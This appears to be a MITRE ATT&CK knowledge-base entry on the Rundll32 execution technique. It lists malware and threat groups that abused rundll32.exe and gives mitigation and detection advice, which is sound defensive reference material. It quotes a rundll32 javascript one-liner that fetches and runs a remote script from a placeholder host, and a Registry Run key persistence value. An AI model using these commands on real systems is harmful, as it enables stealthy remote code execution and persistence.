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Rundll32

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [2]

ID: T1085
Tactic: Defense Evasion, Execution
Platform: Windows
Permissions Required: User
Data Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata
Defense Bypassed: Anti-virus, Application whitelisting, Digital Certificate Validation
Contributors: Ricardo Dias; Casey Smith
Version: 1.1

Procedure Examples

Name Description
ADVSTORESHELL ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence. [23]
APT19 APT19 configured its payload to inject into the rundll32.exe. [34]
APT28 APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe “C:\Windows\twain_64.dll”. APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload. [35] [23] [36] [37] [38]
APT29 APT29 has used rundll32.exe for execution. [42]
APT3 APT3 has a tool that can run DLLs. [39]
Bisonal Bisonal uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”. [5]
Briba Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs. [8]
Carbanak Carbanak installs VNC server software that executes through rundll32. [41]
Comnie Comnie uses Rundll32 to load a malicious DLL. [16]
CopyKittens CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode. [33]
CORESHELL CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW." [30]
CozyCar The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component. [28]
DDKONG DDKONG uses Rundll32 to ensure only a single instance of itself is running at once. [4]
Elise After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe. [15]
Emissary Variants of Emissary have used rundll32.exe in Registry values added to establish persistence. [18]
FELIXROOT FELIXROOT uses Rundll32 for executing the dropper program. [19] [20]
Flame Rundll32.exe is used as a way of executing Flame at the command-line. [12]
gh0st RAT A gh0st RAT variant has used rundll32 for execution. [29]
GreyEnergy GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM). [20]
JHUHUGIT JHUHUGIT is executed using rundll32.exe. [13] [14]
Koadic Koadic can use Rundll32 to execute additional payloads. [3]
Kwampirs Kwampirs uses rundll32.exe in a Registry value added to establish persistence. [27]
Matroyshka Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism. [6]
Mosquito Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability. [26]
MuddyWater MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll. [40]
NOKKI NOKKI has used rundll32 for execution. [22]
NotPetya NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic. [31]
PowerDuke PowerDuke uses rundll32.exe to load. [21]
Prikormka Prikormka uses rundll32.exe to load its DLL. [25]
Pteranodon Pteranodon executes functions using rundll32.exe. [7]
PUNCHBUGGY PUNCHBUGGY can load a DLL using Rundll32. [9]
RTM RTM runs its core DLL file using rundll32.exe. [24]
Sakula Sakula calls cmd.exe to run various DLL files via rundll32. [10]
ServHelper ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe. [32]
StreamEx StreamEx uses rundll32 to call an exported function. [11]
TA505 TA505 has leveraged rundll32.exe to execute malicious DLLs. [43] [32]
Winnti The Winnti installer loads a DLL using rundll32. [17]

Mitigations

Mitigation Description
Exploit Protection Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.

Detection

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

References

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